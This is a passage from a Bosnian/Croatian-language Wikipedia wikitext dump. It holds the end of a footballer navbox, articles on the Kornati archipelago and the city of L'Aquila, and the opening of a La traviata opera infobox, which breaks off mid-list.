end}} | group3 = Azija i Oceanija | list3 = {{nowrap begin}} {{flagicon|AUS}} [[Tim Cahill]]{{•w}} {{flagicon|AUS}} [[Mark Schwarzer]]{{•w}} {{flagicon|AUS}} [[Archie Thompson]]{{•w}} {{flagicon|AUS}} [[Harry Kewell]]{{•w}} {{flagicon|AUS}} [[Mile Jedinak]]{{•w}} {{flagicon|AUS}} [[Mark Bresciano]]{{•w}} {{flagicon|AUS}} [[Aziz Behich]]{{•w}} {{flagicon|AUS}} [[Daniel Arzani]]{{•w}} {{flagicon|AUS}} [[Craig Goodwin]]{{•w}} {{flagicon|AUS}} [[Mathew Leckie]]{{•w}} {{flagicon|FIJ}} [[Roy Krishna]]{{•w}} {{flagicon|FIJ}} [[Esala Masi]]{{•w}} {{flagicon|IRN}} [[Reza Gučan-Nežad]]{{•w}} {{flagicon|IRN}} [[Mehdi Taremi]]{{•w}} {{flagicon|IRN}} [[Karim Ansarifard]]{{•w}} {{flagicon|IRN}} [[Ruzbeh Češmi]]{{•w}} {{flagicon|IRN}} [[Ramin Rezaijan]]{{•w}} {{flagicon|JAP}} [[Hidetoshi Nakata]]{{•w}} {{flagicon|JAP}} [[Keisuke Honda]]{{•w}} {{flagicon|JAP}} [[Shinji Okazaki]]{{•w}} {{flagicon|JAP}} [[Ao Tanaka]]{{•w}} {{flagicon|JAP}} [[Kaoru Mitoma]]{{•w}} {{flagicon|JAP}} [[Daizen Maeda]]{{•w}} {{flagicon|JKO}} [[Koo Ja-cheol]]{{•w}} {{flagicon|JKO}} [[Lee Keun-ho]]{{•w}} {{flagicon|JKO}} [[Son Heung-min]]{{•w}} {{flagicon|JKO}} [[Hong Myeong-bo]]{{•w}} {{flagicon|JKO}} [[Kim Young-gwon]]{{•w}} {{flagicon|JKO}} [[Jo Gyu-seong]]{{•w}} {{flagicon|JKO}} [[Hwang Hui-chan]]{{•w}} {{flagicon|JKO}} [[Baek Seung-ho]]{{•w}} {{flagicon|KAT}} [[Sād al-Šēb]]{{•w}} {{flagicon|KAT}} [[Mohammed Muntari]]{{•w}} {{flagicon|NZL}} [[Shane Smeltz]]{{•w}} {{flagicon|SAU}} [[Salman al-Faradž]]{{•w}} {{flagicon|SAU}} [[Fahad al-Muvalad]]{{•w}} {{flagicon|SAU}} [[Salem al-Davsari]]{{•w}} {{flagicon|SAU}} [[Saleh al-Šehri]]{{•w}} {{flagicon|Sjeverna Koreja}} [[Ji Yun-Nam]]{{•w}} {{flagicon|Sjeverna Koreja}} [[Pak Sŭng-jin]]{{•w}} {{flagicon|Sjeverna Koreja}} [[Ri Dong-un]]{{•w}} {{flagicon|Sjeverna Koreja}} [[Yang Sŭng-kuk]] {{nowrap end}} | group4 = Amerike | list4 = {{nowrap begin}} {{flagicon|HON}} [[Noel Valladares]]{{•w}} {{flagicon|HON}} [[Carlo Costly]]{{•w}} {{flagicon|HON}} [[Maynor Figueroa]]{{•w}} {{flagicon|HON}} [[José Cardona]]{{•w}} {{flagicon|HON}} [[Porfirio Armando Betancourt]]{{•w}} {{flagicon|HON}} [[Gilberto Yearwood]]{{•w}} {{flagicon|HON}} [[Wilson Palacios]] {{•w}} {{flagicon|HON}} [[Milton Palacios]] {{•w}} {{flagicon|HON}} [[Jerry Palacios]] {{•w}} {{flagicon|HON}} [[Johnny Palacios]] {{•w}} {{flagicon|KAN}} [[Alphonso Davies]] {{•w}} {{flagicon|KAN}} [[Atiba Hutchinson]] {{•w}} {{flagicon|Kostarika}} [[Paulo Wanchope]]{{•w}} {{flagicon|Kostarika}} [[Joel Campbell]]{{•w}} {{flagicon|Kostarika}} [[Walter Centeno]]{{•w}} {{flagicon|Kostarika}} [[Rolando Fonseca]]{{•w}} {{flagicon|Kostarika}} [[Óscar Duarte]]{{•w}} {{flagicon|Kostarika}} [[Marco Ureña]]{{•w}} {{flagicon|Kostarika}} [[Bryan Ruiz]]{{•w}} {{flagicon|Kostarika}} [[Celso Borges]]{{•w}} {{flagicon|Kostarika}} [[Giancarlo González]]{{•w}} {{flagicon|Kostarika}} [[Christian Bolaños]]{{•w}} {{flagicon|Kostarika}} [[Michael Umaña]]{{•w}} {{flagicon|Kostarika}} [[Kendall Waston]]{{•w}} {{flagicon|Kostarika}} [[Yeltsin Tejeda]]{{•w}} {{flagicon|Kostarika}} [[Keysher Fuller]]{{•w}} {{flagicon|Kostarika}} [[Juan Pablo Vargas]]{{•w}} {{flagicon|KUB}} [[Tomás Fernández]]{{•w}} {{flagicon|KUB}} [[José Magriñá]]{{•w}} {{flagicon|KUB}} [[Héctor Socorro]]{{•w}} {{flagicon|MEX}} [[Oribe Peralta]]{{•w}} {{flagicon|MEX}} [[Rafael Márquez]]{{•w}} {{flagicon|MEX}} [[Andrés Guardado]]{{•w}} {{flagicon|MEX}} [[Javier Hernández Balcázar|Javier Hernández]]{{•w}} {{flagicon|MEX}} [[Giovani dos Santos]]{{•w}} {{flagicon|MEX}} [[Hirving Lozano]]{{•w}} {{flagicon|MEX}} [[Edson Álvarez]]{{•w}} {{flagicon|MEX}} [[Henry Martín]]{{•w}} {{flagicon|MEX}} [[Luis Chávez (fudbaler)|Luis Chávez]]{{•w}} {{flagicon|PAN}} [[Felipe Baloy]]{{•w}} {{flagicon|PAN}} [[Aníbal Godoy]]{{•w}} {{flagicon|PAN}} [[Luis Tejada]]{{•w}} {{flagicon|SAD}} [[Clint Dempsey]]{{•w}} {{flagicon|SAD}} [[John Anthony Brooks|John Brooks]]{{•w}} {{flagicon|SAD}} [[Jermaine Jones]]{{•w}} {{flagicon|SAD}} [[Julian Green]]{{•w}} {{flagicon|SAD}} [[Timothy Weah]]{{•w}} {{flagicon|SAD}} [[Haji Wright]]{{•w}} {{flagicon|TIT}} [[Dwight Yorke]] {{flagicon|ARG}} [[Diego Maradona]]{{•w}} {{flagicon|ARG}} [[Marcos Rojo]]{{•w}} {{flagicon|ARG}} [[Ezequiel Garay]]{{•w}} {{flagicon|ARG}} [[Gabriel Mercado]]{{•w}} {{flagicon|ARG}} [[Enzo Fernández (fudbaler, rođen 2001.)|Enzo Fernández]]{{•w}} {{flagicon|ARG}} [[Alexis Mac Allister]]{{•w}} {{flagicon|ARG}} [[Julián Álvarez (fudbaler)|Julián Álvarez]]{{•w}} {{flagicon|ARG}} [[Nahuel Molina]]{{•w}} {{flagicon|ARG}} [[Gonzalo Montiel]]{{•w}} {{flagicon|ARG}} [[Leandro Paredes]]{{•w}} {{flagicon|BRA}} [[Dida]]{{•w}} {{flagicon|BRA}} [[Adriano]]{{•w}} {{flagicon|BRA}} [[Kaká]]{{•w}} {{flagicon|BRA}} [[Pelé]]{{•w}} {{flagicon|BRA}} [[Marcelo]]{{•w}} {{flagicon|BRA}} [[Oscar (fudbaler rođen 1991)|Oscar]]{{•w}} {{flagicon|BRA}} [[David Luiz]]{{•w}} {{flagicon|BRA}} [[Fernandinho (fudbaler)|Fernandinho]]{{•w}} {{flagicon|BRA}} [[Thiago Silva]]{{•w}} {{flagicon|BRA}} [[Willian Borges da Silva|Willian]]{{•w}} {{flagicon|BRA}} [[Hulk (fudbaler)|Hulk]]{{•w}} {{flagicon|BRA}} [[Zico]]{{•w}} {{flagicon|BRA}} [[Leônidas da Silva]]{{•w}} {{flagicon|BRA}} [[Leovegildo Lins da Gama Júnior|Júnior]]{{•w}} {{flagicon|BRA}} [[Philippe Coutinho]]{{•w}} {{flagicon|BRA}} [[Paulinho]]{{•w}} {{flagicon|BRA}} [[Renato Augusto]]{{•w}} {{flagicon|BRA}} [[Richarlison]]{{•w}} {{flagicon|BRA}} [[Lucas Paquetá]]{{•w}} {{flagicon|BRA}} [[Rodrygo]]{{•w}} {{flagicon|BRA}} [[Pedro (fudbaler, rođen 1997.)|Pedro]]{{•w}} {{flagicon|BRA}} [[Marquinhos]]{{•w}} {{flagicon|ČIL}} [[Alexis Sánchez]]{{•w}} {{flagicon|ČIL}} [[Jean Beausejour]]{{•w}} {{flagicon|ČIL}} [[Jorge Valdívia]]{{•w}} {{flagicon|ČIL}} [[Charles Aránguiz]]{{•w}} {{flagicon|ČIL}} [[Mauricio Pinilla]]{{•w}} {{flagicon|ČIL}} [[Gonzalo Jara]]{{•w}} {{flagicon|ČIL}} [[Marcelo Díaz]]{{•w}} {{flagicon|EKV}} [[Enner Valencia]]{{•w}} {{flagicon|EKV}} [[Hernán Galíndez]]{{•w}} {{flagicon|EKV}} [[Piero Hincapié]]{{•w}} {{flagicon|EKV}} [[Jeremy Sarmiento]]{{•w}} {{flagicon|EKV}} [[Moisés Caicedo]]{{•w}} {{flagicon|KOL}} [[Mario Yepes]]{{•w}} {{flagicon|KOL}} [[Pablo Armero]]{{•w}} {{flagicon|KOL}} [[Teófilo Gutiérrez]]{{•w}} {{flagicon|KOL}} [[James Rodríguez]]{{•w}} {{flagicon|KOL}} [[Juan Guillermo Cuadrado|Juan Cuadrado]]{{•w}} {{flagicon|KOL}} [[Jackson Martínez]]{{•w}} {{flagicon|KOL}} [[Juan Fernando Quintero|Juan Quintero]]{{•w}} {{flagicon|KOL}} [[Carlos Sánchez Moreno|Carlos Sánchez]]{{•w}} {{flagicon|KOL}} [[Faryd Mondragón]]{{•w}} {{flagicon|KOL}} [[Yerry Mina]]{{•w}} {{flagicon|KOL}} [[Carlos Bacca]]{{•w}} {{flagicon|KOL}} [[Mateus Uribe]]{{•w}} {{flagicon|KOL}} [[Luis Muriel]]{{•w}} {{flagicon|KOL}} [[Radamel Falcao]]{{•w}} {{flagicon|PAR}} [[José Luis Chilavert]]{{•w}} {{flagicon|PER}} [[Christian Cueva]]{{•w}} {{flagicon|PER}} [[André Carrillo]]{{•w}} {{flagicon|PER}} [[Paolo Guerrero]]{{•w}} {{flagicon|PER}} [[Teófilo Cubillas]]{{•w}} {{flagicon|SUR}} [[Humphrey Mijnals]]{{•w}} {{flagicon|SUR}} [[André Kamperveen]]{{•w}} {{flagicon|URU}} [[Maximiliano Pereira|Maxi Pereira]]{{•w}} {{flagicon|URU}} [[José María Giménez]]{{•w}} {{flagicon|URU}} [[Pedro Rocha]]{{•w}} {{flagicon|URU}} [[Giorgian de Arrascaeta]]{{•w}} {{flagicon|URU}} [[Álvaro Recoba]]{{•w}} {{flagicon|VEN}} [[Juan Arango]]{{•w}} {{flagicon|VEN}} [[Rafael Dudamel]]{{•w}} {{flagicon|VEN}} [[Salomón Rondón]] {{nowrap end}} }} njs12r0vjlgwq9jhlyft2m9xia0br45 0 208523 42602562 42415950 2026-05-27T15:17:04Z InternetArchiveBot 155863 Rescuing 3 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602562 wikitext text/x-wiki {{ otok (HR)| |Ime = Kornati |zemljovid = Croatia - Kornat.PNG |smještaj = [[Jadransko more]]<br />[[Šibensko-kninska županija]] |otočje = [[Jadranski otoci]] |koordinate = 43°47′N 15°20′E |država = {{flag|Hrvatska}} |gl.naselje = |površina = 320 |stanovništvo = |slika = Kornati.jpg }} '''Kornati''' ili '''Kornatski otoci''' je [[arhipelag]] u srednjoj [[Dalmacija|Dalmaciji]], koji se prostire od visine [[Zadar|Zadra]] na sjeveru, do [[Šibenik]]a na jugu. == Geografija == ''Kornatski arhipelag'' se sastoji od 150 otočića, koji imaju ukupnu površinu od 320 [[km²]], i protežu se u dužinu od nekih 35 [[km]], a u širinu 13&nbsp;km.<ref name=kor>{{cite web |url = http://kornati-islands.com/general-info/ |title = ''General info'' |publisher = Kornati-Islands |language = engleski |accessdate = 14. 02. 2013 |archive-date = 2013-05-07 |archive-url = https://web.archive.org/web/20130507121717/http://kornati-islands.com/general-info/ |url-status = dead }}</ref> ''[[Arhipelag]] Kornati'' se zapravo sastoji od 4 grupe otoka, koji se daju podjeliti u dvije grupe: * '''Gornji Kornati''' u kojima su arhipelazi otoka Sit i Žut koji ukupno imaju 51 manjih otoka i grebena, i * '''Donji Kornati''' u kojima su arhipelazi otoka [[Kornat|Veli Kornat]] i Punin koji ukupno imaju 98 manjih otoka i grebena.<ref name=kor/> Najveći otok arhipelaga je [[Kornat]] (dug 25,2&nbsp;km, širok do 2,5&nbsp;km.), po kome je čitav arhipelag dobio ime, najsjeverniji je Mala Balabra, najužniji - Opuh Južni, najzapadniji -Vela Aba a najistočniji Samograd.<ref name=kor/> Najviši vrh Kornata je - Metlina na Velom Kornatu visok 237 m.<ref name=in>{{cite web |url = http://kornati-islands.com/landmarks/ |title = ''Landmarks'' |publisher = Kornati-Islands |language = engleski |accessdate = 14. 02. 2013 |archive-date = 2013-05-07 |archive-url = https://web.archive.org/web/20130507055034/http://kornati-islands.com/landmarks/ |url-status = dead }}</ref> Niti na jednom od otoka, nama stalnog naselja, iako su [[Murter (naselje)|Murterini]] sve do kraja [[20. vijek]]a često i dugo boravili po otocima, po kojima su puštali svoje [[Ovca|ovce]] da slobodno pasu. Danas po otocima najduže borave oni [[turizam|turisti]] koji preferiraju [[Robinson Crusoe|robinzonski]] turizam, i brojni nautičari za ljetnih mjeseci. == Nacionalni park == ''[[Arhipelag]] Kornati'' je [[1980]]. proglašen [[nacionalni park Kornati|nacionalnim parkom]], ali samo na površini od 49.6 [[km²]], u kom se nalazi 89 [[otok]]a, otočića i [[hrid]]i.<ref name=np>{{cite web |url=http://kornati.hr/hrv/popis_otoka.asp |title = ''General info'' |publisher = Nacionalni park Kornati |language = engleski |accessdate = 14. 02. 2013}}</ref> === Znamenitosti === Najznačajniji historijski spomenik je [[bizant]]ska Utvrda Tureta iz [[6. vijek]]a, na otoku Veli Kornat.<ref name=tur>{{cite web |url = http://www.sibenikregion.com/hr/kulturna-bastina/tvrdjave-i-utvrde/tureta-kornati.html |title = ''Tureta Kornati'' |publisher = Turistička zajednica Šibensko-Kninske županije |language = hrvatska |accessdate = 14. 02. 2013 |archivedate = 2012-10-31 |archiveurl = https://web.archive.org/web/20121031111036/http://www.sibenikregion.com/hr/kulturna-bastina/tvrdjave-i-utvrde/tureta-kornati.html |deadurl = yes }}</ref> == [[Kornatska tragedija]] == ''Kornati'' - su [[30. august]]a [[2007]]. bili mjesto [[Kornatska tragedija|velike tragedije]], u kojoj je poginulo 12 dobrovoljnih [[vatrogasci|vatrogasaca]] (uz samo jednog preživjelog sa teškim opeklinama) u gašenju [[požar]]a na Kornatu.<ref name=tra>{{cite web |url=http://www.novilist.hr/Vijesti/Hrvatska/Kornatska-tragedija-Vojne-tajne-i-proturjecja-ogorcene-obitelji-traze-istinu |title = ''Kornatska tragedija: Vojne tajne i proturječja, ogorčene obitelji traže istinu'' |publisher = Novi List |author = Zorana Deljanin |language = hrvatski |accessdate = 14. 02. 2013}}</ref> Nakon provedene istrage, suđenje se proteklo do danas - ali se još uvijek nezna pravi uzrok, kako i zašto su poginuli vatrogasci? <ref name=tra/> Po Kornatima su inače bili česti požari, koje su ponekad potpaljivali sami otočani, - želivši tako uništiti sav korov i mladice crnogoričnog drveća, da bi nakon tog iznikla samo trava za njihove ovce, tako da na Kornatima gotovo da nije bilo nijednog drva, osim u malim [[oaza]]ma uz obalne lučice. Ti požari sve do [[1990e|1990-ih]] i nisu izazivali previše uzbuđenja, poslalo bi se vatrogasce iz okolnih DVD brodicama, koji su uz pomoć brentača pokušavali spriječiti da ne izgore kuće uz obalu, a ponekad i lokalizirati požar, ako su dovoljno rano došli. Osim poneke iščašene noge, - nikad se ništa ozbiljnije tim vatrogascima nije dogodilo - jer ti požari i nisu imali neki ozbiljni intezitet - gorila je uglavnom suha trava, koju se moglo u čvršim cipelama pregaziti - bez ikakvog problema. Ekspertiza koja je izvedena nakon požara, pokušala je dokazati - da se na mjestu tragedije - desio eruptivni požar, iako mnogi sumnjaju u tu ekspertizu - jer što bi imalo toliko snažno goriti na Kornatu. Nakon tog su se pojavile teorije, da su ljudi izgorili nakon nespretno bačene mješine sa [[benzin]]om, koja je trebala poslužiti vatrogascima da napune svoje uređaje, ali i da su oni naišli na odbačene bombe sa [[Ratno zrakoplovstvo Sjedinjenih Država|američkih aviona]], koji su se preko Kornata vraćali za [[Aviano]], nakon akcija po [[Bosna|Bosni]] i [[Srbija|Srbiji]]. == Povezano == * [[Nacionalni park Kornati]] == Reference == {{izvori}} == Vanjske veze == {{commonscat|Kornati}} * [http://www.kornati.hr/hrv/index.asp Nacionalni Park Kornati] {{hr icon}} * [http://kornati.hr/hrv/popis_otoka.asp Popis otoka na portalu Nacionalni Park Kornati] {{hr icon}} * [http://kornati-islands.com/general-info/ ''General info'' na portalu Kornati-Islands] {{Webarchive|url=https://web.archive.org/web/20130507121717/http://kornati-islands.com/general-info/ |date=2013-05-07 }} {{en icon}} [[Kategorija:Otoci u Hrvatskoj|Kornati]] [[Kategorija:Otoci Jadranskog mora|Kornati]] i4xhbot8wd90mt0cz2tnxl81684ree2 0 214322 42602601 42411067 2026-05-27T20:08:24Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602601 wikitext text/x-wiki {{Naselje | ime = L'Aquila | ime_genitiv = L'Aquile | izvorno_ime = <small>Comune dell'Aquila</small> | translit_jezik1 = | slika_panorama = L'Aquila Piazza del Duomo 2007 by-RaBoe.jpg | veličina_slike = 280px | opis_slike = Glavni trg Piazza Duomo | slika_zastava = | slika_zastava_veličina = | slika_pečat = | slika_pečat_veličina = | slika_grb = Coat of Arms of L'Aquila, Italy.svg | slika_grb_veličina = 80px | slika_amblem_prazno = | slika_amblem_prazno_veličina = | slika_amblem_prazno_opis = | nadimak = | geslo = | širina-stupnjevi = 42 | širina-minute = 21 | širina-oznaka = N | dužina-stupnjevi = 13 | dužina-minute = 24 | dužina-oznaka = E | lokacija_ime = [[Lista država|Država]] | lokacija_info = {{flag|Italija}} | lokacija1_ime = [[Regije Italije|Regija]] | lokacija1_info = [[Abruzzo]] | lokacija2_ime = [[Provincije Italije|Provincija]] | lokacija2_info = [[L'Aquila (provincija)|L'Aquila]] | lokacija3_ime = | lokacija3_info = | utemeljenje_ime = | utemeljenje_datum = | utemeljenje1_ime = | utemeljenje1_datum = | utemeljenje2_ime = | utemeljenje2_datum = | utemeljenje3_ime = | utemeljenje3_datum = | osnivač = | nazvan_po = | dijelovi = | vrsta_dijelova = | d1-d50 = | vrsta_vlasti = | vlast_bilješke = | titula_vođe = [[Gradonačelnik]] | ime_vođe = Pierluigi Biondi | stranka_vođe = | titula_vođe1 = | ime_vođe1 = | titula_vođe2 = | ime_vođe2 = | titula_vođe3 = | ime_vođe3 = | titula_vođe4 = | ime_vođe4 = | površina_bilješke = | površina_ukupna = 467 [[kvadratni kilometar|km²]] | površina_kopna = | površina_vode = | postotak_vode = | površina_uža = | površina_šira = | površina_prazno1_ime = | površina_prazno1 = | površina_prazno2_ime = | površina_prazno2 = | visina = 714 m | visina_izvor = | visina_max = | visina_min = | stanovništvo_godina = 2011 | stanovništvo_bilješke = | stanovništvo = 66.964 | stanovništvo_gustoća = | stanovništvo_uže = | stanovništvo_uže_gustoća = | stanovništvo_šire = | stanovništvo_šire_gustoća = | stanovništvo_prazno1_ime = | stanovništvo_prazno1 = | stanovništvo_gustoća_prazno1 = | stanovništvo_prazno2_ime = | stanovništvo_prazno2 = | stanovništvo_gustoća_prazno2 = | vremenska_zona = [[UTC+1]] | utc_pomak = +2 | vremenska_zona_DST = | utc_pomak_DST = | poštanski_broj = 67100 | pozivni_broj = 0862 | gradovi_prijatelji = | države_gradova_prijatelja = | web_stranica = [http://www.comune.laquila.it/ www.l'Aquila] | slika_lokacijska_karta_država = Italija | slika_lokacijska_karta_opis = <center>L'Aquila na karti Italije | bilješke = }} '''L'Aquila''' (prevedeno '''Orao''') je [[glavni grad]] [[Italija|talijanske]] regije [[Abruzzo]] i istoimene provincije [[L'Aquila (provincija)|L'Aquila]]. Grad ima 66.964 stanovnika.<ref name=city>{{cite web | url =http://www.citypopulation.de/Italy-Abruzzi.html | title =''ITALY: Abruzzo'' | accessdate = 4. 4. 2013 | language=engleski | publisher=Citypopulationde }}</ref> == Geografija == L'Aquila leži u [[brdo|brdima]] [[Apenini|Apenina]] u kotlini rijeke [[Aterno (vodotok)|Aterno]], udaljena oko 100 [[kilometar|km]] sjeveroistočno od [[Rim]]a. Grad leži na vrlo trusnom području, pa su česti [[potres]]i.<ref name=brit/> == Historija == [[Datoteka:L'Aquila, Basilica di San Bernardino 2007 by-RaBoe-1.jpg|mini|desno|250px|Crkva San Bernardino]] Kraj oko Aquile za [[Antika|antičkih]] vremena nastanjavali su [[Sabinjani]], njihov grad [[Amiternum]] razorili su još [[Antički Rim|Rimljani]], a nakon njih ostatke [[Barbari]] pa je potpuno nestao.<ref name=brit/> L'Aquila je osnovana oko [[1240]]. od strane [[Fridrik II., car Svetog rimskog carstva|Fridrika II]], cara [[Sveto Rimsko Carstvo|Svetog Rimskog Carstva]], a [[1257]]. postala je [[dijeceza|biskupsko]] središte.<ref name=brit/> Za [[Srednji vijek|srednjeg vijeka]] L'Aquila je postala važno središte, kojim su vladali [[Anžuvinci]], pa [[Kruna Aragona|Aragonci]], da bi nakraju potpala pod vlast [[Napuljsko kraljevstvo|Napuljskog kraljevstva]].<ref name=brit/> Grad je pružio snažan otpor [[Francuska|francuskoj]] invaziji [[1798]]/[[1799]]. i sudjelovao u više buna tokom [[19. vijek]]a protiv restauracije [[Kraljevina dviju Sicilija|Kraljevine dviju Sicilija]]. Od [[1860]]. L'Aquila je dio [[Kraljevina Italija|Kraljevine Italije]].<ref name=brit/> == Znamenitosti == L'Aquila je teško stradala u [[potres]]u koji je pogodio grad [[6. 4.|6. aprila]] [[2009]]. kada je poginulo 275 ljudi i oštećeno više [[Srednji vijek|srednjovjekovnih]] zgrada.<ref name=brit/> Najveće znamenitosti Aquile su veličanstven dvorac iz [[1535]]. u kom se danas nalaze [[Arheološki muzej|arheološki]] i umjetnički [[muzej]] Abruzzija, zatim crkva San Bernardino ([[1454]]–[[1472]], fasada iz [[1527]]) u kojoj je i [[mauzolej]] ([[1505]]) [[Sveti Bernardin Sijenski|sv. Bernardina Sijenskog]], crkva Santa Maria di Collemaggio ([[1283]]–[[1288]]) i [[katedrala]] iz [[14. vijek]]a (obnovljena nakon [[potres]]a [[1703]]). Aquile još uvijek ima dijelove srednjovjekovnih gradskih zidina. Pored tog grad ima mnoge palače, veliku provincijsku [[Biblioteka|biblioteku]] i [[Bolnica|bolnicu]] koja datira iz srednjeg vijeka.<ref name=brit/> == Privreda == L'Aquila je poznati [[Skijanje|skijaški]] centar zimi, a ljeti za velikih vrućina izletište brojnih planinara i polazna točka za uspon na obližnji planinski masiv [[Gran Sasso]].<ref name=brit/> L'Aquila ima [[Tvornica|tvornice]] [[vuna|vunenih]] [[tekstil|tkanina]], namještaja, [[cigla|cigle]] i [[radio]] opreme. Okolica je [[Poljoprivreda|poljoprivredni]] kraj, poznat po [[čipka]]rstvu. Grad je povezan [[autoput]]om s [[Rim]]om i [[jadran]]skom obalom na istoku.<ref name=brit>{{cite web |url=http://www.britannica.com/EBchecked/topic/330435/LAquila |title = ''L'Aquila'' |publisher = Encyclopædia Britannica |language = engleski |accessdate = 4. 4. 2013}}</ref> == Frazioni == [[Općina|Općinska]] teritorija L'Aquila je podijeljena na 59 fraziona: {{Div col|cols=3}} * [[Aquilio]] * [[Aragno, L'Aquila|Aragno]] * [[Arischia, L'Aquila|Arischia]] * [[Assergi, L'Aquila|Assergi]] * [[Bagno, L'Aquila|Bagno]] * [[Bazzano, L'Aquila|Bazzano]] * [[Camarda, L'Aquila|Camarda]] * [[Cansatessa]] * [[Casaline, L'Aquila|Casaline]] * [[Cermone, L'Aquila|Cermone]] * [[Cese, L'Aquila|Cese di Preturo]] * [[Civita di Bagno, L'Aquila|Civita di Bagno]] * [[Colle di Preturo]] * [[Colle di Roio, L'Aquila|Colle Roio]] * [[Colle di Sassa, L'Aquila|Colle di Sassa]] * [[Collebrincioni, L'Aquila|Collebrincioni]] * [[Collefracido, L'Aquila|Collefracido di Sassa]] * [[Collemare di Sassa]] * [[Coppito, L'Aquila|Coppito]] * [[Esperita, L'Aquila|Esperita]] * [[Filetto, L'Aquila|Filetto]] * [[Foce, L'Aquila|Foce di Sassa]] * [[Forcelle, L'Aquila|Forcelle]] * [[Genzano di Sassa]] * [[Gignano]] * [[Malepasso, L'Aquila|Malepasso]] * [[Menzano, L'Aquila|Menzano]] * [[Monticchio, L'Aquila|Monticchio]] * [[Onna, L'Aquila|Onna]] * [[Paganica, L'Aquila|Paganica]] * [[Pagliare di Sassa]] * [[Palombaia di Sassa, L'Aquila|Palombaia di Sassa]] * [[Pescomaggiore, L'Aquila|Pescomaggiore]] * [[Pettino]] * [[Pianola, L'Aquila|Pianola]] * [[Pile]] * [[Pizzutillo]] * [[Poggio di Roio, L'Aquila|Poggio di Roio]] * [[Poggio Santa Maria, L'Aquila|Poggio Santa Maria]] * [[Pozza di Preturo]] * [[Preturo, L'Aquila|Preturo]] * [[Roio]] * [[Roio Piano, L'Aquila|Roio Piano]] * [[San Giacomo Alto]] * [[San Giuliano, L'Aquila|San Giuliano]] * [[San Gregorio, L'Aquila|San Gregorio]] * [[San Leonardo, L'Aquila|San Leonardo]] * [[San Marco di Preturo]] * [[San Martino di Sassa]] * [[San Sisto, L'Aquila|San Sisto]] * [[San Vittorino, L'Aquila|San Vittorino]] * [[Santa Barbara, L'Aquila|Santa Barbara]] * [[Santa Rufina di Roio]] * [[Sant'Elia, L'Aquila|Sant'Elia]] * [[Santi, L'Aquila|Santi]] * [[Sassa, L'Aquila|Sassa]] * [[Tempera, L'Aquila|Tempera]] * [[Torretta, L'Aquila|Torretta]] * [[Vallesindola]] {{Div col end}} == Naselja == {{Div col|cols=3}} * [[Brecciasecca, L'Aquila|Brecciasecca]] * [[Cominio, L'Aquila|Cominio]] * [[Fonte Cerreto-(Base Funivia), L'Aquila|Fonte Cerreto]] * [[Inciampa la Notte, L'Aquila|Inciampa la Notte]] * [[Palombara, L'Aquila|Palombara]] * [[Ripa, L'Aquila|Ripa]] * [[San Benedetto, L'Aquila|San Benedetto]] * [[San Cipriano, L'Aquila|San Cipriano]] * [[San Pietro della Ienca]] * [[San Raniero, L'Aquila|San Raniero]] * [[Sant'Angelo, L'Aquila|Sant'Angelo]] * [[Vasche, L'Aquila|Vasche]] * [[Sassa Scalo, L'Aquila|Sassa Scalo]] {{Div col end}} == Gradovi partneri == L'Aquila ima ugovore o bratimljenju sa slijedećim gradovima: {| class="wikitable" |- valign="top" | * {{flagicon|Njemačka}} [[Rottweil]] * {{flagicon|Španjolska}} [[Cuenca, Španjolska|Cuenca]] * {{flagicon|Kanada}} [[York, Ontario|York]] || * {{flagicon|Australija}} [[Hobart]] * {{flagicon|Poljska}} [[Zielona Góra]] * {{flagicon|Italija}} [[Bernalda]] || * {{flagicon|Rumunjska}} [[Bistrița]] * {{flagicon|Libanon}} [[Baalbeck]] |} == Reference == {{izvori}} == Vanjske veze == {{Commonscat|L'Aquila}} * [http://www.comune.laquila.it/ Službene stranice grada] {{Webarchive|url=https://web.archive.org/web/20100826020235/http://www.comune.laquila.it/ |date=2010-08-26 }} {{it icon}} * [http://www.britannica.com/EBchecked/topic/330435/LAquila ''L'Aquila'' na portalu Encyclopædia Britannica] {{en icon}} {{Normativna kontrola}} [[Kategorija:L'Aquila| ]] [[Kategorija:Gradovi u Abruzzu]] 7lyj56aiyxpk183kfxxkk1chvle9m7a 0 229339 42602622 40852776 2026-05-27T22:21:42Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602622 wikitext text/x-wiki {{Infokutija opera | naslov = La traviata | slika = Catherine Malfitano dans Traviata par Claude Truong-Ngoc 1980.jpg | opis = ''La traviata'' u režiji [[Jean-Pierre Ponnelle]]a godine [[1980 u muzici|1980]]. u [[Opéra national du Rhin]] sa [[Catherine Malfitano]] (u ulozi Violette) | žanr = [[lirska drama]] | činovi = 3 | muzika = [[Giuseppe Verdi]] | libreto = [[Francesco Maria Piave]] | jezik = [[Italien]] | based on = {{based on|''[[La Dame aux camélias]]''|[[Alexandre Dumas fils]]}} ([[1848 u književnosti|1848]]-[[1852 u književnosti|1852]]) | datum_pisanja = [[1852|novembar 1852]] - [[6. mart]] [[1853]] | datum_premijere_original = [[6. mart]] [[1853]] | mjesto_premijere_original = [[Teatro La Fenice]], [[Venecija]] [[Lombardsko-venetsko Kraljevstvo]] | znamenite_izvedbe = <div> [[6. maj]] [[1854]]: [[Teatro San Benedetto]], [[Venecija]], trijumfalna rehabilutacija nakon neuspjeha premijere <br /> [[28. maj]] [[1955]]: [[Teatro alla Scala]], [[Milano]], ul. [[Maria Callas]] </div> | likovi = <div> * Violetta Valéry ([[sopran]]) * Flora Bervoix, ''njena prijateljica'' ([[mezzo-sopran]]) * Annina, ''sobarica Violette'' (sopran) * Alfredo Germont ([[tenor]]) * Giorgio Germont, ''njegov sin'' ([[bariton]]) * Gastone, ''vikont de Letorières'' (tenor) * Baron Duphol, ''zaštitnik Violette'' (bariton) * Markiz d’Obigny, ''prijetelj Flore'' ([[bas]]) * Doktor Grenvil (bas) * Giuseppe, ''sluga Violette'' (tenor) * Sluga Flore (bas) * Povjerenik (bas) * Prijatelji Violette i Flore, susjedi, [[maškara|maškare]] ([[zbor (muzika)|zbor]]) </div> | arije = <div> * Brindisi « ''Libiamo ne' lieti calici'' » (Alfredo, Violetta) – I čin * Duet « ''Un dì, felice, eterea'' » (Alfredo, Violetta) - I čin * Arijska scena « ''È strano... Ah fors'è lui...'' » (Violetta) - I čin * Arija « ''De' miei bollenti spiriti'' » (Alfredo) - II čin * Arija « ''Pura siccome un angelo'' » (Germont) - II činI * Duet « ''Un di quando le veneri... Dite alla giovine'' » (Germont, Violetta) - II čin * Arija « ''Di Provenza il mar'' » (Germont) - II čin * 